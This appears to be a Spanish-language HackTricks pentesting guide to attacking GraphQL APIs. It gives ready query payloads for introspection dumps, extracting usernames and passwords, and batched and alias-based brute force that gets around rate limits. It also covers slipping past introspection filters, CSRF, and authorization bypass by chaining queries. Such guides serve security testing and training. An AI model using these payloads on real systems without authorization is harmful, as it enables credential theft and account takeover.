# GraphQL
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Introducción GraphQL actúa como una alternativa a las API REST. Las API REST requieren que el cliente envíe múltiples solicitudes a diferentes puntos finales en la API para consultar datos de la base de datos del backend. Con GraphQL, solo necesitas enviar una solicitud para consultar el backend. Esto es mucho más simple porque no tienes que enviar múltiples solicitudes a la API, una sola solicitud puede usarse para recopilar toda la información necesaria. ## GraphQL A medida que surgen nuevas tecnologías, también surgirán nuevas vulnerabilidades. Por **defecto**, GraphQL no implementa **autenticación**, esto es responsabilidad del desarrollador. Esto significa que, por defecto, GraphQL permite a cualquiera hacer consultas, y cualquier información sensible estará disponible para los atacantes sin autenticar. Cuando realices tus ataques de fuerza bruta de directorios, asegúrate de agregar las siguientes rutas para buscar instancias de GraphQL. * `/graphql` * `/graphiql` * `/graphql.php` * `/graphql/console` * `/api` * `/api/graphql` * `/graphql/api` * `/graphql/graphql`
Una vez que encuentres una instancia de GraphQL abierta, necesitas saber **qué consultas admite**. Esto se puede hacer utilizando el sistema de introspección, se pueden encontrar más detalles aquí: [**GraphQL: Un lenguaje de consulta para APIs.**\ A menudo es útil preguntar a un esquema de GraphQL qué consultas admite. GraphQL nos permite hacerlo...](https://graphql.org/learn/introspection/) ### Fingerprint La herramienta [**graphw00f**](https://github.com/dolevf/graphw00f) es capaz de detectar qué motor de GraphQL se utiliza en un servidor y luego imprime información útil para el auditor de seguridad. #### Consultas universales Si envías `query{__typename}` a cualquier punto final de GraphQL, incluirá la cadena `{"data": {"__typename": "query"}}` en alguna parte de su respuesta. Esto se conoce como una consulta universal y es una herramienta útil para comprobar si una URL corresponde a un servicio de GraphQL. La consulta funciona porque cada punto final de GraphQL tiene un campo reservado llamado `__typename` que devuelve el tipo del objeto consultado como una cadena. ### Enumeración básica GraphQL generalmente admite **GET**, **POST** (x-www-form-urlencoded) y **POST**(json). Aunque por seguridad se recomienda permitir solo json para evitar ataques CSRF. #### Introspección Para utilizar la introspección y descubrir información del esquema, consulta el campo `__schema`. Este campo está disponible en el tipo raíz de todas las consultas. ```bash query={__schema{types{name,fields{name}}}} ``` Con esta consulta encontrarás el nombre de todos los tipos que se están utilizando: ![](<../../.gitbook/assets/image (202).png>) {% code overflow="wrap" %} ```bash query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}} ``` {% endcode %} Con esta consulta puedes extraer todos los tipos, sus campos y sus argumentos (y el tipo de los argumentos). Esto será muy útil para saber cómo consultar la base de datos. ![](<../../.gitbook/assets/image (207) (3).png>) **Errores** Es interesante saber si los **errores** se van a **mostrar**, ya que aportarán información útil. ``` ?query={__schema} ?query={} ?query={thisdefinitelydoesnotexist} ``` ![](<../../.gitbook/assets/image (205) (1).png>) **Enumerar el esquema de la base de datos a través de la introspección** {% hint style="info" %} Si la introspección está habilitada pero la consulta anterior no se ejecuta, intente eliminar las directivas `onOperation`, `onFragment` y `onField` de la estructura de la consulta. {% endhint %} ```bash #Full introspection query query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description args { ...InputValue } onOperation #Often needs to be deleted to run query onFragment #Often needs to be deleted to run query onField #Often needs to be deleted to run query } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } ``` Consulta de introspección en línea: ``` /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+} ``` La última línea de código es una consulta de GraphQL que volcará toda la meta-información de GraphQL (nombres de objetos, parámetros, tipos...) ![](<../../.gitbook/assets/image (206).png>) Si la introspección está habilitada, puedes usar [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) para ver en una interfaz gráfica todas las opciones. ### Consultando Ahora que sabemos qué tipo de información se guarda en la base de datos, intentemos **extraer algunos valores**. En la introspección puedes encontrar **qué objeto puedes consultar directamente** (porque no puedes consultar un objeto solo porque existe). En la siguiente imagen puedes ver que el "_queryType_" se llama "_Query_" y que uno de los campos del objeto "_Query_" es "_flags_", que también es un tipo de objeto. Por lo tanto, puedes consultar el objeto de la bandera. ![](../../.gitbook/assets/screenshot-from-2021-03-13-18-17-48.png) Ten en cuenta que el tipo de la consulta "_flags_" es "_Flags_", y este objeto se define de la siguiente manera: ![](../../.gitbook/assets/screenshot-from-2021-03-13-18-22-57.png) Puedes ver que los objetos "_Flags_" están compuestos por **nombre** y **valor**. Luego, puedes obtener todos los nombres y valores de las banderas con la consulta: ```javascript query={flags{name, value}} ``` Ten en cuenta que en caso de que el **objeto a consultar** sea un **tipo primitivo** como **string** como en el siguiente ejemplo ![](<../../.gitbook/assets/image (441).png>) Puedes consultar simplemente con: ```javascript query={hiddenFlags} ``` En otro ejemplo donde había 2 objetos dentro del objeto "_Query_": "_user_" y "_users_".\ Si estos objetos no necesitan ningún argumento para buscar, se puede **obtener toda la información de ellos** simplemente **pidiendo** los datos que se desean. En este ejemplo de Internet, se pueden extraer los nombres de usuario y las contraseñas guardadas: ![](<../../.gitbook/assets/image (208).png>) Sin embargo, en este ejemplo, si intentas hacerlo, obtendrás este **error**: ![](<../../.gitbook/assets/image (210).png>) Parece que de alguna manera buscará utilizando el argumento "_**uid**_" de tipo _**Int**_.\ De todos modos, ya sabíamos eso, en la sección de [Enumeración Básica](graphql.md#basic-enumeration) se propuso una consulta que nos mostraba toda la información necesaria: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` Si lees la imagen proporcionada cuando ejecuto esa consulta, verás que "_**user**_" tenía el **arg** "_**uid**_" de tipo _Int_. Entonces, realizando una ligera fuerza bruta de _**uid**_, descubrí que en _**uid**=**1**_ se recuperó un nombre de usuario y una contraseña:\ `query={user(uid:1){user,password}}` ![](<../../.gitbook/assets/image (211).png>) Ten en cuenta que **descubrí** que podía pedir los **parámetros** "_**user**_" y "_**password**_" porque si intento buscar algo que no existe (`query={user(uid:1){noExists}}`) obtengo este error: ![](<../../.gitbook/assets/image (213).png>) Y durante la fase de **enumeración**, descubrí que el objeto "_**dbuser**_" tenía como campos "_**user**_" y "_**password**_. **Truco de volcado de cadena de consulta (gracias a @BinaryShadow\_)** Si puedes buscar por un tipo de cadena, como: `query={theusers(description: ""){username,password}}` y **buscas una cadena vacía**, se **volcarán todos los datos**. (_Ten en cuenta que este ejemplo no está relacionado con el ejemplo de los tutoriales, para este ejemplo supongamos que puedes buscar usando "**theusers**" por un campo de tipo String llamado "**description**"_). GraphQL es una tecnología relativamente nueva que está empezando a ganar popularidad entre startups y grandes corporaciones. Aparte de la falta de autenticación por defecto, los puntos finales de GraphQL pueden ser vulnerables a otros errores como IDOR. ### Búsqueda Para este ejemplo, imagina una base de datos con **personas** identificadas por el correo electrónico y el nombre, y **películas** identificadas por el nombre y la calificación. Una **persona** puede ser **amiga** de otras **personas** y una persona puede **tener películas**. Puedes **buscar** personas **por** el **nombre** y obtener sus correos electrónicos: ```javascript { searchPerson(name: "John Doe") { email } } ``` Puedes **buscar** personas **por** su **nombre** y obtener las **películas** a las que están **suscritas**: ```javascript { searchPerson(name: "John Doe") { email subscribedMovies { edges { node { name } } } } } ``` Ten en cuenta cómo se indica recuperar el `nombre` de las `subscribedMovies` de la persona. También puedes **buscar varios objetos al mismo tiempo**. En este caso, se realiza una búsqueda de 2 películas: ```javascript { searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) { name } }r ``` O incluso **relaciones de varios objetos diferentes usando alias**: ```javascript { johnsMovieList: searchPerson(name: "John Doe") { subscribedMovies { edges { node { name } } } } davidsMovieList: searchPerson(name: "David Smith") { subscribedMovies { edges { node { name } } } } } ``` ### Mutaciones **Las mutaciones se utilizan para realizar cambios en el lado del servidor.** En la **introspección** puedes encontrar las **mutaciones** **declaradas**. En la siguiente imagen, el "_MutationType_" se llama "_Mutation_" y el objeto "_Mutation_" contiene los nombres de las mutaciones (como "_addPerson_" en este caso): ![](../../.gitbook/assets/screenshot-from-2021-03-13-18-26-27.png) Para este ejemplo, imagina una base de datos con **personas** identificadas por el correo electrónico y el nombre, y **películas** identificadas por el nombre y la calificación. Una **persona** puede ser **amiga** de otras **personas** y una persona puede **tener películas**. Una mutación para **crear nuevas** películas dentro de la base de datos puede ser como la siguiente (en este ejemplo, la mutación se llama `addMovie`): ```javascript mutation { addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) { movies { name rating } } } ``` **Ten en cuenta cómo se indican tanto los valores como el tipo de datos en la consulta.** También puede haber una **mutación** para **crear** **personas** (llamada `addPerson` en este ejemplo) con amigos y archivos (ten en cuenta que los amigos y las películas deben existir antes de crear una persona relacionada con ellos): ```javascript mutation { addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { person { name email friends { edges { node { name email } } } subscribedMovies { edges { node { name rating releaseYear } } } } } } ``` ### Ataque de fuerza bruta en 1 solicitud de API Esta información fue tomada de [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\ Autenticación a través de la API de GraphQL con **el envío simultáneo de muchas consultas con diferentes credenciales** para verificarla. Es un ataque de fuerza bruta clásico, pero ahora es posible enviar más de un par de inicio de sesión/contraseña por solicitud HTTP debido a la función de agrupación de GraphQL. Este enfoque engañaría a las aplicaciones de monitoreo de velocidad externas haciéndoles creer que todo está bien y que no hay un bot de fuerza bruta intentando adivinar contraseñas. A continuación, se muestra la demostración más simple de una solicitud de autenticación de la aplicación, con **3 pares de correo electrónico/contraseña diferentes a la vez**. Obviamente, es posible enviar miles en una sola solicitud de la misma manera: ![](<../../.gitbook/assets/image (182) (1).png>) Como podemos ver en la captura de pantalla de la respuesta, las primeras y terceras solicitudes devolvieron _null_ y reflejaron la información correspondiente en la sección de _error_. La **segunda mutación tenía los datos de autenticación correctos** y la respuesta tenía el token de sesión de autenticación correcto. ![](<../../.gitbook/assets/image (119) (1).png>) ## GraphQL sin introspección Cada vez más **los puntos finales de GraphQL están deshabilitando la introspección**. Sin embargo, los errores que GraphQL arroja cuando se recibe una solicitud inesperada son suficientes para que herramientas como [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) puedan recrear la mayor parte del esquema. Además, la extensión de Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa las solicitudes de la API de GraphQL que pasan por Burp** y **construye** un **esquema** interno de GraphQL con cada nueva consulta que ve. También puede exponer el esquema para GraphiQL y Voyager. La extensión devuelve una respuesta falsa cuando recibe una consulta de introspección. Como resultado, GraphQuail muestra todas las consultas, argumentos y campos disponibles para su uso dentro de la API. Para obtener más información, [**consulte esto**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). ### Bypassing defensas de introspección de GraphQL Si no puedes hacer que se ejecuten consultas de introspección para la API que estás probando, intenta insertar un **carácter especial después de la palabra clave `__schema`**. Cuando los desarrolladores deshabilitan la introspección, podrían usar una expresión regular para excluir la palabra clave `__schema` en las consultas. Deberías probar caracteres como **espacios**, **saltos de línea** y **comas**, ya que son **ignorados** por GraphQL pero no por una expresión regular defectuosa. Por lo tanto, si el desarrollador solo ha excluido `__schema{`, entonces la siguiente consulta de introspección no sería excluida. ```bash #Introspection query with newline { "query": "query{__schema {queryType{name}}}" } ``` Si esto no funciona, intenta ejecutar la sonda a través de un método de solicitud alternativo, ya que la introspección puede estar deshabilitada solo para POST. Prueba una solicitud GET o una solicitud POST con un tipo de contenido de `x-www-form-urlencoded`. ### Estructuras de GraphQL filtradas Si la introspección está deshabilitada, intenta buscar en el código fuente del sitio web. Las consultas a menudo se cargan previamente en el navegador como bibliotecas de JavaScript. Estas consultas predefinidas pueden revelar información poderosa sobre el esquema y el uso de cada objeto y función. La pestaña `Sources` de las herramientas para desarrolladores puede buscar en todos los archivos para enumerar dónde se guardan las consultas. A veces, incluso las consultas protegidas por el administrador ya están expuestas. ```javascript Inspect/Sources/"Search all files" file:* mutation file:* query ``` ## CSRF en GraphQL Si no sabes qué es CSRF, lee la siguiente página: {% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %} [csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md) {% endcontent-ref %} Allí podrás encontrar varios puntos finales de GraphQL **configurados sin tokens CSRF**. Ten en cuenta que las solicitudes de GraphQL generalmente se envían a través de solicitudes POST utilizando el Content-Type **`application/json`**. ```javascript {"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"} ``` Sin embargo, la mayoría de los puntos finales de GraphQL también admiten solicitudes POST **`form-urlencoded`**: ```javascript query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` Por lo tanto, dado que las solicitudes CSRF como las anteriores se envían **sin solicitudes de preflight**, es posible **realizar** **cambios** en GraphQL abusando de un CSRF. Sin embargo, ten en cuenta que el nuevo valor predeterminado de la cookie `samesite` en Chrome es `Lax`. Esto significa que la cookie solo se enviará desde un sitio web de terceros en solicitudes GET. Ten en cuenta que generalmente es posible enviar la **solicitud de consulta** también como una solicitud **GET** y es posible que el token CSRF no se valide en una solicitud GET. Además, abusando de un [ataque **XS-Search**](../../pentesting-web/xs-search.md), podría ser posible filtrar contenido del punto final de GraphQL abusando de las credenciales del usuario. Para obtener más información, **consulta la** [**publicación original aquí**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html). ## Autorización en GraphQL Muchas funciones de GraphQL definidas en el punto final solo pueden verificar la autenticación del solicitante pero no la autorización. Modificar las variables de entrada de la consulta podría llevar a la filtración de detalles sensibles de la cuenta [filtrada](https://hackerone.com/reports/792927). Incluso la mutación podría llevar a la toma de control de la cuenta al intentar modificar los datos de otra cuenta. ```javascript { "operationName":"updateProfile", "variables":{"username":INJECT,"data":INJECT}, "query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}" } ``` ### Bypass de autorización en GraphQL [Encadenar consultas](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) puede evadir un sistema de autenticación débil. En el siguiente ejemplo, se puede observar que la operación es "forgotPassword" y que solo debería ejecutar la consulta forgotPassword asociada a ella. Esto se puede evadir agregando una consulta al final, en este caso agregamos "register" y una variable de usuario para que el sistema lo registre como un nuevo usuario.
## Bypass de límite de velocidad utilizando alias Normalmente, los objetos de GraphQL no pueden contener múltiples propiedades con el mismo nombre. Los alias te permiten evadir esta restricción al **nombrar explícitamente las propiedades que deseas** que la API devuelva. Puedes usar alias para devolver **múltiples instancias del mismo** tipo de objeto en una sola solicitud. Para obtener más información sobre los alias de GraphQL, consulta [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). Si bien los alias están destinados a limitar la cantidad de llamadas a la API que debes realizar, también se pueden utilizar para realizar un ataque de fuerza bruta en un punto final de GraphQL. Muchos puntos finales tendrán algún tipo de **limitador de velocidad para evitar ataques de fuerza bruta**. Algunos limitadores de velocidad funcionan en función del **número de solicitudes HTTP** recibidas en lugar del número de operaciones realizadas en el punto final. Debido a que los alias te permiten enviar múltiples consultas en un solo mensaje HTTP, pueden evadir esta restricción. El ejemplo simplificado a continuación muestra una serie de **consultas con alias que verifican si los códigos de descuento de la tienda son válidos**. Esta operación podría evadir el límite de velocidad, ya que es una sola solicitud HTTP, aunque potencialmente se podría utilizar para verificar una gran cantidad de códigos de descuento al mismo tiempo. ```bash #Request with aliased queries query isValidDiscount($code: Int) { isvalidDiscount(code:$code){ valid } isValidDiscount2:isValidDiscount(code:$code){ valid } isValidDiscount3:isValidDiscount(code:$code){ valid } } ``` ## Herramientas ### Escáneres de vulnerabilidades * [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Conjunto de herramientas que se pueden utilizar para obtener esquemas y buscar datos sensibles, probar la autorización, forzar esquemas y encontrar rutas hacia un tipo específico. * [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Puede utilizarse como una extensión independiente o de [Burp](https://github.com/doyensec/inql). * [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Puede utilizarse como un cliente de línea de comandos para automatizar ataques. * [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Herramienta que enumera las diferentes formas de llegar a un tipo específico en un esquema de GraphQL. ### Clientes * [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): Cliente de interfaz gráfica de usuario (GUI). * [https://altair.sirmuel.design/](https://altair.sirmuel.design/): Cliente de GUI. ### Pruebas automáticas {% embed url="https://graphql-dashboard.herokuapp.com/" %} * Video que explica AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) ## Referencias * [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/) * [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) * [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4) * [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/) * [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md) * [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) * [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos. * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com). * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).